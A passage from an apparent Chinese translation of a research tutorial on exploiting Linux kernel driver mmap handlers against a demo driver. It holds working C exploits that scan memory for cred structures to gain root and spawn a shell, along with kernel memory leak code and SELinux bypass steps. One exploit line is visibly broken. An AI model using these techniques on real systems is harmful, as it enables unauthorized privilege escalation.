int值为0xffffffff,最高符号位会被清掉,最终的和会变成0x0。这种情况下,mmap系统调用会成功绕过检查,进程会访问到预期buffer外的内存。如上文提到的,有两个独立的系统调用`mmap`和`mmap2`。`mmap2`使得应用程序可以使用一个32位的`off_t`类型来映射大文件(最大为2^44字节),这是通过支持使用一个大数offset参数实现的。有趣的是`mmap2`系统调用通常在64位内核系统调用表中不可用。然而,如果操作系统同时支持32位和64位进程,他就通常在32位进程中可用。这是因为32位和64位进程各使用独立的系统调用表。 443 | 444 | ### 3.3 有符号整型类型 445 | 446 | 另一个老生常谈的议题就是size变量的有符号类型。让我们看看这段代码: 447 | 448 | ```cpp 449 | static int signed_integer_mmap( 450 | struct file *filp, struct vm_area_struct *vma) 451 | { 452 | int vma_size = vma->vm_end - vma->vm_start; 453 | int offset = vma->vm_pgoff << PAGE_SHIFT; 454 | printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset: %x)\n", vma_size, offset); 455 | if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000)) 456 | { 457 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n"); 458 | return -EAGAIN; 459 | } 460 | if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start, vma->vm_page_prot)) 461 | { 462 | printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n"); 463 | return -EAGAIN; 464 | } 465 | printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n"); 466 | return 0; 467 | } 468 | ``` 469 | 470 | 上述代码中,用户控制数据存储在`vma_size`和`offset`变量中,它们都是有符号整型。size和offset检查是这一行: 471 | 472 | ```cpp 473 | if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000)) 474 | ``` 475 | 476 | 不幸的是,因为`vma_size`被声明为有符号整型数,一种攻击手法是通过使用负数诸如0xf0000000来绕过这个检查。这回引起0xf0000000字节被映射到用户空间地址。 477 | 478 | ## 4. 利用mmap Handlers 479 | 480 | ## 4.1 原理 481 | 482 | 到此我们理解了如何去实现一个可以获取任意内存地址(通常是内核内存)访问权的mmap handler。现在的问题是:我们如何用现有的知识来获取root权限?我们考虑两种基本情景: 483 | 484 | 1. 我们知道物理内存布局(通常通过`/proc/iomem`) 485 | 2. 黑盒模型 - 我们只是有一个非常大的mmap 486 | 487 | 当我们了解了物理内存布局后,我们可以轻易地查看我们映射了内存的那个区域,也可以试图去把想要的内存区域与虚拟地址进行关联。这允许我们对信令(creds)/函数指针执行精准的覆写。 488 | 489 | 更有意思的在于完成黑盒模型的情景。它可以工作在多版本内核和CPU架构,且一旦写成了exploit,它对不同的驱动来说都会更为的可靠。为了写这样的exp,我么需要找出内存中的一些pattern,这些pattern可以直接告诉我们找到的东西是否有用。当我们开始考虑我们可以搜索到什么时,我们就迅速的找到了实现方法:“有一些我们可以搜索的明显pattern,至少16字节,既然是全部内存我们应该可以几乎找到任何东西”。如果我们看一下credential结构体(struct cred)的话,就可以看到一些有意思的数据: 490 | 491 | ```cpp 492 | struct cred { 493 | atomic_t usage; 494 | #ifdef CONFIG_DEBUG_CREDENTIALS 495 | atomic_t subscribers; /* number of processes subscribed */ 496 | void *put_addr; 497 | unsigned magic; 498 | #define CRED_MAGIC 0x43736564 499 | #define CRED_MAGIC_DEAD 0x44656144 500 | #endif 501 | kuid_t uid; /* real UID of the task */ 502 | kgid_t gid; /* real GID of the task */ 503 | kuid_t suid; /* saved UID of the task */ 504 | kgid_t sgid; /* saved GID of the task */ 505 | kuid_t euid; /* effective UID of the task */ 506 | kgid_t egid; /* effective GID of the task */ 507 | kuid_t fsuid; /* UID for VFS ops */ 508 | kgid_t fsgid; /* GID for VFS ops */ 509 | unsigned securebits; /* SUID-less security management */ 510 | kernel_cap_t cap_inheritable; /* caps our children can inherit */ 511 | kernel_cap_t cap_permitted; /* caps we're permitted */ 512 | kernel_cap_t cap_effective; /* caps we can actually use */ 513 | kernel_cap_t cap_bset; /* capability bounding set */ 514 | kernel_cap_t cap_ambient; /* Ambient capability set */ 515 | #ifdef CONFIG_KEYS 516 | unsigned char jit_keyring; /* default keyring to attach requested * keys to */ 517 | struct key __rcu *session_keyring; /* keyring inherited over fork */ 518 | struct key *process_keyring; /* keyring private to this process */ 519 | struct key *thread_keyring; /* keyring private to this thread */ 520 | struct key *request_key_auth; /* assumed request_key authority */ 521 | #endif 522 | #ifdef CONFIG_SECURITY 523 | void *security; /* subjective LSM security */ 524 | #endif 525 | struct user_struct *user; /* real user ID subscription */ 526 | struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 527 | struct group_info *group_info; /* supplementary groups for euid/fsgid */ 528 | struct rcu_head rcu; /* RCU deletion hook */ 529 | }; 530 | ``` 531 | 532 | cred结构体用于控制我们线程的信令。这意味着我们可以掌握此结构体的大部分值,可以通过简单的读`/proc//status`或者通过系统调用获取。 533 | 534 | 查看结构体定义可以观察到有8个连续的整型变量,我们对此很熟悉(uid,gid,suid,sgid等)。紧随其后是一个4字节的securebits变量,再后面是4或5个(实际数量取决于内核版本)long long int(cap_inheritable等)。 535 | 536 | 我们获取root权限的计划是: 537 | 538 | 1. 获取我们的credentials 539 | 2. 扫描内存去查找这样的一组跟随4-5个long long int型capabilities变量的8个int型变量。在capabilities和uids/gids之间还应该有4个字节的留空。 540 | 3. 将uids/gids改为值0 541 | 4. 调用getuid(),检查我们是否已经是root用户 542 | 5. 如果是,则将capabilities修改为值0xffffffffffffffff 543 | 6. 如果不是,则恢复uids/gids的旧值,继续查找;重复步骤2 544 | 7. 我们现在是root,跳出循环 545 | 546 | 在某些情况下,这一方案不奏效,例如: 547 | 548 | - 如果内核是坚固的,一些组建对提权进行了监视(例如,一些三星手机设备上的Knox)。 549 | - 如果我们已经有了值为0的uid。这种情况下我们好像可以修改内核的一些东西因为内核包含了大量的0值在内存中而我们的pattern没什么用。 550 | - 如果一些安全模块被使能(SELinux, Smack等),我们可能完成的是部分提权,安全模块需要通过后面的步骤来绕过。 551 | 552 | 在安全模块的情况下,`cred`结构体的`security`域拥有一个指向内核使用的特殊安全模块定义的结构体。例如,对SELinux来说他是指向一个包含下列结构体的内存区域: 553 | 554 | ```cpp 555 | struct task_security_struct { 556 | u32 osid; /* SID prior to last execve */ 557 | u32 sid; /* current SID */ 558 | u32 exec_sid; /* exec SID */ 559 | u32 create_sid; /* fscreate SID */ 560 | u32 keycreate_sid; /* keycreate SID */ 561 | u32 sockcreate_sid; /* fscreate SID */ 562 | }; 563 | ``` 564 | 565 | 我们可以替换`security`域的指针为一个我们已经控制的地址(如果给定架构(如arm, aarch64)允许我们在内核中直接访问用户空间映射的话,我们可以提供用户空间映射),然后brute force sid值。进程应该相对快速因为大部分权限标签例如内核或初始化时会将该值设置为0到512之间。 566 | 567 | 为了绕过SELinux我们需要尝试下列步骤: 568 | 569 | - 准备一个新的SELinux策略,该策略将当前SELinux的上下文设置成宽松 570 | - 固定伪造的包含全0值的security结构 571 | - 尝试去重载SELinux策略 572 | - 恢复旧的安全指针 573 | - 尝试去执行一个恶意行为,该行为此前被SELinux禁止 574 | - 如果他工作的话,我们就绕过了SELinux 575 | - 如果不行的话,在我们伪造的security结构中递增sid值,重试 576 | 577 | ### 4.2 基础mmap Handler利用 578 | 579 | 这一部分我们将会尝试开发一个完整root权限的exp,针对下面的代码: 580 | 581 | ```cpp 582 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma) 583 | { 584 | printk(KERN_INFO "MWR: Device mmap\n"); 585 | printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma->vm_end - vma->vm_start, vma->vm_pgoff); 586 | if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot)) 587 | { 588 | printk(KERN_INFO "MWR: Device mmap failed\n"); 589 | return -EAGAIN; 590 | } 591 | printk(KERN_INFO "MWR: Device mmap OK\n"); 592 | return 0; 593 | } 594 | ``` 595 | 596 | 代码有2个漏洞: 597 | 598 | - `vma->vm_pgoff`在`remap_pfn_range`中被作为一个物理地址直接使用而没有进行安检。 599 | - 传递给`remap_pfn_range`的映射尺寸没有做安检。 600 | 601 | 我们exp开发的第一步就是,创建触发漏洞的代码,使用它创建一个非常大的内存映射: 602 | 603 | ```cpp 604 | int main(int argc, char * const * argv) 605 | { 606 | printf("[+] PID: %d\n", getpid()); 607 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 608 | if (fd < 0) 609 | { 610 | printf("[-] Open failed!\n"); 611 | return -1; 612 | } 613 | printf("[+] Open OK fd: %d\n", fd); 614 | 615 | unsigned long size = 0xf0000000; 616 | unsigned long mmapStart = 0x42424000; 617 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); 618 | if (addr == MAP_FAILED) 619 | { 620 | perror("Failed to mmap: "); 621 | close(fd); 622 | return -1; 623 | } 624 | 625 | printf("[+] mmap OK addr: %lx\n", addr); 626 | int stop = getchar(); 627 | return 0; 628 | } 629 | ``` 630 | 631 | 上面的代码会打开有漏洞的驱动并且调用mmap,传递了0xf0000000字节作为size,0作为offset。下面我们会看到log中记载了我们的调用成功了: 632 | 633 | ```sh 634 | $ ./mwr_client 635 | [+] PID: 3855 636 | [+] Open OK fd: 3 637 | [+] mmap OK addr: 42424000 638 | ``` 639 | 640 | 我们可以通过查看内存映射来验证: 641 | 642 | ```sh 643 | # cat /proc/3855/maps 644 | 42424000-132424000 rw-s 00000000 00:06 30941 /dev/MWR_DEVICE 645 | ``` 646 | 647 | 与此同时,dmesg中也可以看到mmap成功了: 648 | 649 | ```sh 650 | [18877.692697] MWR: Device has been opened 2 time(s) 651 | [18877.692710] MWR: Device mmap 652 | [18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0) 653 | [18877.696716] MWR: Device mmap OK 654 | ``` 655 | 656 | 如果我们检查物理地址空间,我们可以看到有了这个映射后我们可以访问下面00000000-e0ffffff间的所有地址。这是因为我们传递了0作为物理地址定位、0xf0000000作为字节数: 657 | 658 | ```sh 659 | # cat /proc/iomem 660 | 00000000-00000fff : reserved 661 | 00001000-0009fbff : System RAM 0009fc00-0009ffff : reserved 662 | 000a0000-000bffff : PCI Bus 0000:00 663 | 000c0000-000c7fff : Video ROM 664 | 000e2000-000e2fff : Adapter ROM 665 | 000f0000-000fffff : reserved 666 | 000f0000-000fffff : System ROM 667 | 00100000-dffeffff : System RAM 668 | bac00000-bb20b1e1 : Kernel code 669 | bb20b1e2-bb91c4ff : Kernel data 670 | bba81000-bbb2cfff : Kernel bss 671 | dfff0000-dfffffff : ACPI Tables 672 | e0000000-ffdfffff : PCI Bus 0000:00 673 | e0000000-e0ffffff : 0000:00:02.0 674 | f0000000-f001ffff : 0000:00:03.0 675 | f0000000-f001ffff : e1000 676 | f0400000-f07fffff : 0000:00:04.0 677 | f0400000-f07fffff : vboxguest 678 | f0800000-f0803fff : 0000:00:04.0 679 | f0804000-f0804fff : 0000:00:06.0 680 | f0804000-f0804fff : ohci_hcd 681 | f0805000-f0805fff : 0000:00:0b.0 682 | f0805000-f0805fff : ehci_hcd 683 | fec00000-fec003ff : IOAPIC 0 684 | fee00000-fee00fff : Local APIC 685 | fffc0000-ffffffff : reserved 686 | 100000000-11fffffff : System RAM 687 | ``` 688 | 689 | 我们可以选择增大映射的尺寸来涵盖所有的物理地址空间。然而,我们这里不会如此做,这样一来我们可以展示一些当我们没有能力访问全部系统内存时所面对的限制。 690 | 691 | 下一步去实现在内存中搜索`cred`结构体。我们按4.1节中所说的进行操作。我们会轻量的修改进程因为我们仅仅需要搜索8个包含我们的uid值的整型数。一个简单的实现看起来如下: 692 | 693 | ```cpp 694 | int main(int argc, char * const * argv) 695 | { 696 | ... 697 | printf("[+] mmap OK addr: %lx\n", addr); 698 | 699 | unsigned int uid = getuid(); 700 | printf("[+] UID: %d\n", uid); 701 | 702 | unsigned int credIt = 0; 703 | unsigned int credNum = 0; 704 | while (((unsigned long)addr) < (mmapStart + size - 0x40)) 705 | { 706 | credIt = 0; 707 | if ( addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid ) 708 | { 709 | credNum++; 710 | printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum); 711 | } 712 | 713 | addr++; 714 | } 715 | puts("[+] Scanning loop END"); 716 | fflush(stdout); 717 | int stop = getchar(); 718 | return 0; 719 | } 720 | ``` 721 | 722 | 在我们的exp输出中,可以看到找到了一些潜在的`cred`结构体: 723 | 724 | ```sh 725 | $ ./mwr_client 726 | [+] PID: 5241 727 | [+] Open OK fd: 3 728 | [+] mmap OK addr: 42424000 729 | [+] UID: 1000 730 | [+] Found cred structure! ptr: 0x11a86e184, credNum: 1 731 | [+] Found cred structure! ptr: 0x11a86e244, credNum: 2 732 | … 733 | [+] Found cred structure! ptr: 0x11b7823c4, credNum: 7 734 | [+] Found cred structure! ptr: 0x11b782604, credNum: 8 735 | [+] Found cred structure! ptr: 0x11b7c1244, credNum: 9 736 | ``` 737 | 738 | 下一步是去找到哪个`cred`结构体属于我们的进程,修改它的uid/gid: 739 | 740 | ```cpp 741 | int main(int argc, char * const * argv) 742 | { 743 | ... 744 | printf("[+] mmap OK addr: %lx\n", addr); 745 | unsigned int uid = getuid(); 746 | printf("[+] UID: %d\n", uid); 747 | ; 748 | unsigned int credIt = 0; 749 | unsigned int credNum = 0; 750 | while (((unsigned long)addr) < (mmapStart + size - 0x40)) 751 | { 752 | credIt = 0; 753 | if ( ... ) 754 | { 755 | credNum++; 756 | printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum); 757 | credIt = 0; 758 | addr[credIt++] = 0; 759 | addr[credIt++] = 0; 760 | addr[credIt++] = 0; 761 | addr[credIt++] = 0; 762 | addr[credIt++] = 0; 763 | addr[credIt++] = 0; 764 | addr[credIt++] = 0; 765 | addr[credIt++] = 0; 766 | if (getuid() == 0) 767 | { 768 | puts("[+] GOT ROOT!"); 769 | break; 770 | } 771 | else 772 | { 773 | credIt = 0; 774 | addr[credIt++] = uid; 775 | addr[credIt++] = uid; 776 | addr[credIt++] = uid; 777 | addr[credIt++] = uid; 778 | addr[credIt++] = uid; 779 | addr[credIt++] = uid; 780 | addr[credIt++] = uid; 781 | addr[credIt++] = uid; 782 | } 783 | } 784 | addr++; 785 | } 786 | puts("[+] Scanning loop END"); 787 | fflush(stdout); 788 | int stop = getchar(); 789 | return 0; 790 | } 791 | ``` 792 | 793 | 我们运行exp可以看到: 794 | 795 | ```sh 796 | i$ ./mwr_client 797 | [+] PID: 5286 798 | [+] Open OK fd: 3 799 | [+] mmap OK addr: 42424000 800 | [+] UID: 1000 801 | [+] Found cred structure! ptr: 0x11a973f04, credNum: 1 … 802 | [+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7 803 | [+] GOT ROOT! 804 | [+] Scanning loop END 805 | ``` 806 | 807 | 可以看到我们成功get root权限,检查一下这是否是真的: 808 | 809 | ```sh 810 | cat /proc/5286/status 811 | Name: mwr_client 812 | Umask: 0022 813 | State: S (sleeping) 814 | Tgid: 5286 815 | Ngid: 0 816 | Pid: 5286 817 | PPid: 2939 818 | TracerPid: 0 819 | Uid: 0 0 0 0 820 | Gid: 0 0 0 0 821 | FDSize: 256 822 | Groups: 1000 823 | … 824 | CapInh: 0000000000000000 825 | CapPrm: 0000000000000000 826 | CapEff: 0000000000000000 827 | CapBnd: 0000003fffffffff 828 | CapAmb: 0000000000000000 829 | … 830 | ``` 831 | 832 | 我们可以看到我们的UIDs和GIDs都已经从1000改成了0,我们的exp有效果,现在我们几乎就是一个root用户。 833 | 834 | 如果我们多次运行exp就可以发现,并不是总是能够获取root。成功率几乎是4/5,也就是80%左右。我们前面提到了我们仅仅映射了部分的物理地址。exp失败的原因在于,20%的情况下我们没能扫描整个内核内存(最后100000000-11fffffff也是system RAM,结构分配到了这里): 835 | 836 | ```sh 837 | # cat /proc/iomem 838 | 00000000-00000fff : reserved 839 | 00001000-0009fbff : System RAM 840 | 0009fc00-0009ffff : reserved 841 | 000a0000-000bffff : PCI Bus 0000:00 842 | 000c0000-000c7fff : Video ROM 843 | 000e2000-000e2fff : Adapter ROM 844 | 000f0000-000fffff : reserved 845 | 000f0000-000fffff : System ROM 846 | 00100000-dffeffff : System RAM 847 | bac00000-bb20b1e1 : Kernel code 848 | bb20b1e2-bb91c4ff : Kernel data 849 | bba81000-bbb2cfff : Kernel bss 850 | dfff0000-dfffffff : ACPI Tables 851 | e0000000-ffdfffff : PCI Bus 0000:00 852 | e0000000-e0ffffff : 0000:00:02.0 853 | f0000000-f001ffff : 0000:00:03.0 854 | f0000000-f001ffff : e1000 855 | f0400000-f07fffff : 0000:00:04.0 856 | f0400000-f07fffff : vboxguest 857 | f0800000-f0803fff : 0000:00:04.0 858 | f0804000-f0804fff : 0000:00:06.0 859 | f0804000-f0804fff : ohci_hcd 860 | f0805000-f0805fff : 0000:00:0b.0 861 | f0805000-f0805fff : ehci_hcd 862 | fec00000-fec003ff : IOAPIC 0 863 | fee00000-fee00fff : Local APIC 864 | fffc0000-ffffffff : reserved 865 | 100000000-11fffffff : System RAM 866 | ``` 867 | 868 | 再次查看物理内存布局就会看到System RAM区域超出了我们映射的可控的范围。经常会有这种情况,我们在面对mmap handler输入检查时值是受限的。例如,我们可能有能力mmap 1GB内存但是却不能控制这以外的物理地址。可以使用一个`cred`喷射来轻易解决这个问题。我们创建100-1000个子进程,每一个都会检查是否有权限变更。一旦一个子进程获取了root权限就会通知父进程并终止循环扫描。剩下的提权步骤由这个单一子进程完成即可。 869 | 870 | 我们忽略`cred`喷射的修改以保持exp代码的整洁,取而代之的,这作为给读者的一个挑战。我们强烈推荐你实现一个`cred`喷射作为实践并看看这多么的简单有效。 871 | 872 | 到此,让我们回头去完成exp代码: 873 | 874 | ```cpp 875 | int main(int argc, char * const * argv) 876 | { 877 | ... 878 | if (getuid() == 0) 879 | { 880 | puts("[+] GOT ROOT!"); 881 | credIt += 1; //Skip 4 bytes, to get capabilities addr 882 | [credIt++] = 0xffffffff; 883 | addr[credIt++] = 0xffffffff; 884 | addr[credIt++] = 0xffffffff; 885 | addr[credIt++] = 0xffffffff; 886 | addr[credIt++] = 0xffffffff; 887 | addr[credIt++] = 0xffffffff; 888 | addr[credIt++] = 0xffffffff; 889 | addr[credIt++] = 0xffffffff; 890 | addr[credIt++] = 0xffffffff; 891 | addr[credIt++] = 0xffffffff; 892 | execl("/bin/sh", "-", (char *)NULL); 893 | puts("[-] Execl failed..."); 894 | break; 895 | } 896 | else 897 | ... 898 | } 899 | addr++; 900 | } 901 | puts("[+] Scanning loop END"); 902 | fflush(stdout); 903 | 904 | int stop = getchar(); 905 | return 0; 906 | } 907 | ``` 908 | 909 | 上面的代码会覆盖5个capabilities变量并且开启一个交互式的shell。下面是exp的结果: 910 | 911 | ```sh 912 | $ ./mwr_client 913 | [+] PID: 5734 914 | [+] Open OK fd: 3 915 | [+] mmap OK addr: 42424000 916 | [+] UID: 1000 917 | [+] Found cred structure! ptr: 0x11a9840c4, credNum: 1 918 | [+] Found cred structure! ptr: 0x11a984904, credNum: 2 919 | [+] Found cred structure! ptr: 0x11b782f04, credNum: 3 920 | [+] Found cred structure! ptr: 0x11b78d844, credNum: 4 921 | [+] GOT ROOT! 922 | # id 923 | uid=0(root) gid=0(root) groups=0(root),1000(lowpriv) 924 | # cat /proc/self/status 925 | Name: cat 926 | Umask: 0022 927 | State: R (running) 928 | Tgid: 5738 929 | Ngid: 0 930 | Pid: 5738 931 | PPid: 5734 932 | TracerPid: 0 933 | Uid: 0 0 0 0 934 | Gid: 0 0 0 0 935 | FDSize: 64 936 | Groups: 1000 937 | … 938 | CapInh: ffffffffffffffff 939 | CapPrm: ffffffffffffffff 940 | CapEff: ffffffffffffffff 941 | CapBnd: ffffffffffffffff 942 | CapAmb: ffffffffffffffff 943 | Seccomp: 0 944 | … 945 | ``` 946 | 947 | ### 4.3 mmap Handler中fault Handler利用 948 | 949 | 本例子我们将利用mmap的fault handler。既然我们已经知道了如何利用有漏洞的mmap handler去获取root权限,我们将焦点转移到信息泄露。 950 | 951 | 这一次我们的驱动只读: 952 | 953 | ```sh 954 | $ ls -la /dev/MWR_DEVICE 955 | crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE 956 | ``` 957 | 958 | 使用下面的代码: 959 | 960 | ```cpp 961 | static struct file_operations fops = 962 | { 963 | .open = dev_open, 964 | .mmap = simple_vma_ops_mmap, 965 | .release = dev_release, 966 | }; 967 | 968 | int size = 0x1000; 969 | static int dev_open(struct inode *inodep, struct file *filep) 970 | { 971 | ... 972 | filep->private_data = kzalloc(size, GFP_KERNEL); 973 | ... 974 | return 0; 975 | } 976 | 977 | static struct vm_operations_struct simple_remap_vm_ops = { 978 | .open = simple_vma_open, 979 | .close = simple_vma_close, 980 | .fault = simple_vma_fault, 981 | }; 982 | 983 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma) 984 | { 985 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n"); 986 | vma->vm_private_data = filp->private_data; 987 | vma->vm_ops = &simple_remap_vm_ops; 988 | simple_vma_open(vma); 989 | printk(KERN_INFO "MWR: Device mmap OK\n"); 990 | return 0; 991 | } 992 | 993 | int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf) 994 | { 995 | struct page *page = NULL; 996 | unsigned long offset; 997 | printk(KERN_NOTICE "MWR: simple_vma_fault\n"); 998 | printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx, PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf->pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT); 999 | offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT)); 1000 | if (offset > PAGE_SIZE << 4) 1001 | goto nopage_out; 1002 | page = virt_to_page(vma->vm_private_data + offset); 1003 | vmf->page = page; 1004 | get_page(page); 1005 | nopage_out: 1006 | return 0; 1007 | } 1008 | ``` 1009 | 1010 | 拥有一个只读的驱动意味着我们没有能力去映射可写的内存,我们仅仅能读而已。 1011 | 1012 | 我们以分析驱动代码开始,可以看到驱动的open操作,函数为`dev_open`,它简单的分配了0x1000字节的缓冲区。在`simple_vma_ops_mmap`中mmap handler可以看到没有任何的安检,一个虚拟内存操作结构体被指派给了需要的内存区域。在该结构体中我们可以找到`simple_vma_fault`这个fault handler的实现。 1013 | 1014 | `simple_vma_fault`函数一开始计算了内存页的偏移,此后,它通过此前额外分配的缓冲区(`vma->vm_private_data`)以及offset变量来找到内存页。最后,找到的内存页被指派给了`vmf->page`域。这会引起在错误发生时,该page会被映射到虚拟地址。 1015 | 1016 | 然而,在页返回之前,有一个安检: 1017 | 1018 | ```cpp 1019 | if (offset > PAGE_SIZE << 4) 1020 | goto nopage_out; 1021 | ``` 1022 | 1023 | 上面的检查会查看fault触发时,是否会返回一个超过0x10000的地址,如果是的话,就会禁止对该页的访问。 1024 | 1025 | 如果我们检查驱动buffer的size的话,就会看到这个值是小于0x10000的,该值实际上是前面分配的0x1000字节: 1026 | 1027 | ```cpp 1028 | int size = 0x1000; 1029 | static int dev_open(struct inode *inodep, struct file *filep) 1030 | { 1031 | ... 1032 | filep->private_data = kzalloc(size, GFP_KERNEL); 1033 | ... 1034 | return 0; 1035 | } 1036 | ``` 1037 | 1038 | 这就允许一个恶意进程去请求驱动buffer后面的0x9000个字节,泄露内核内存地址。 1039 | 1040 | 让我们使用下面的代码来完成驱动的exp: 1041 | 1042 | ```cpp 1043 | void hexDump(char *desc, void *addr, int len); 1044 | 1045 | int main(int argc, char * const * argv) 1046 | { 1047 | int fd = open("/dev/MWR_DEVICE", O_RDONLY); 1048 | if (fd < 0) 1049 | { 1050 | printf("[-] Open failed!\n"); 1051 | return -1; 1052 | } 1053 | printf("[+] Open OK fd: %d\n", fd); 1054 | 1055 | unsigned long size = 0x10000; 1056 | unsigned long mmapStart = 0x42424000; 1057 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0); 1058 | if (addr == MAP_FAILED) 1059 | { 1060 | perror("Failed to mmap: "); 1061 | close(fd); 1062 | return -1; 1063 | } 1064 | 1065 | printf("[+] mmap OK addr: %lx\n", addr); 1066 | hexDump(NULL, addr, 0x8000); // Dump mapped buffer 1067 | int stop = getchar(); 1068 | return 0; 1069 | } 1070 | ``` 1071 | 1072 | 代码看起来和标准的驱动使用方法很像。我们先打开一个设备,映射0x10000字节内存并转储该映射内存(`hexDump`函数打印十六进制表示的缓冲区到stdout)。 1073 | 1074 | 让我们看看exp的输出: 1075 | 1076 | ```sh 1077 | $ ./mwr_client 1078 | [+] Open OK fd: 3 1079 | [+] mmap OK addr: 42424000 1080 | 0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1081 | 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1082 | 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1083 | ... 1084 | 2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v..... 1085 | 2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v..... 1086 | 2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v..... 1087 | 2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v............. 1088 | 2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%....... 1089 | 2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r............. 1090 | ... 1091 | ``` 1092 | 1093 | 在输出中可以看到,0x2000偏移有一些数据。驱动缓冲区在0x1000处截止所以读超出这个buffer就意味着我们可以成功的泄露内核内存。 1094 | 1095 | 更进一步,我们可以看到dmesg的输出中,我们已经成功访问到了不止一页的内存: 1096 | 1097 | ```sh 1098 | [ 681.740347] MWR: Device has been opened 1 time(s) 1099 | [ 681.740438] MWR: Device simple_vma_ops_mmap 1100 | [ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0 1101 | [ 681.740440] MWR: Device mmap OK 1102 | [ 681.740453] MWR: simple_vma_fault 1103 | [ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c 1104 | [ 681.741695] MWR: simple_vma_fault 1105 | [ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c 1106 | [ 681.760845] MWR: simple_vma_fault 1107 | [ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c 1108 | [ 681.765431] MWR: simple_vma_fault 1109 | [ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c 1110 | [ 681.775586] MWR: simple_vma_fault 1111 | [ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c 1112 | [ 681.776835] MWR: simple_vma_fault 1113 | [ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c 1114 | [ 681.777991] MWR: simple_vma_fault 1115 | [ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c 1116 | [ 681.779318] MWR: simple_vma_fault 1117 | [ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c 1118 | ``` 1119 | 1120 | ### 4.4 mmap Handler中fault Handler的利用 V2 1121 | 1122 | 让我们假定开发者引入了前面代码中`simple_vma_ops_mmap`函数的一个修改。如下面所见,新的代码检查了映射的尺寸是否小于0x1000。理论上,这会阻止前面的exp生效。 1123 | 1124 | ```cpp 1125 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma) 1126 | { 1127 | unsigned long size = vma->vm_end - vma->vm_start; 1128 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n"); 1129 | vma->vm_private_data = filp->private_data; 1130 | vma->vm_ops = &simple_remap_vm_ops; 1131 | simple_vma_open(vma); 1132 | 1133 | if (size > 0x1000) 1134 | { 1135 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n"); 1136 | return -EAGAIN; 1137 | } 1138 | 1139 | printk(KERN_INFO "MWR: Device mmap OK\n"); 1140 | return 0; 1141 | } 1142 | ``` 1143 | 1144 | 然而,代码依然是可以利用的,尽管我们不能再利用mmap创建一个非常大的映射内存。我们可以分割映射进程成两步: 1145 | 1146 | - 调用mmap分配0x1000字节 1147 | - 调用mremap分配0x10000字节 1148 | 1149 | 这意味着一开始我们创建一个小的0x1000字节的映射,它会顺利的通过安检。此后我们利用mremap增大尺寸。最终,我们可以像此前那样转储内存: 1150 | 1151 | ```cpp 1152 | int main(int argc, char * const * argv) 1153 | { 1154 | int fd = open("/dev/MWR_DEVICE", O_RDONLY); 1155 | if (fd < 0) 1156 | { 1157 | printf("[-] Open failed!\n"); 1158 | return -1; 1159 | } 1160 | printf("[+] Open OK fd: %d\n", fd); 1161 | 1162 | unsigned long size = 0x1000; 1163 | unsigned long mmapStart = 0x42424000; 1164 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, 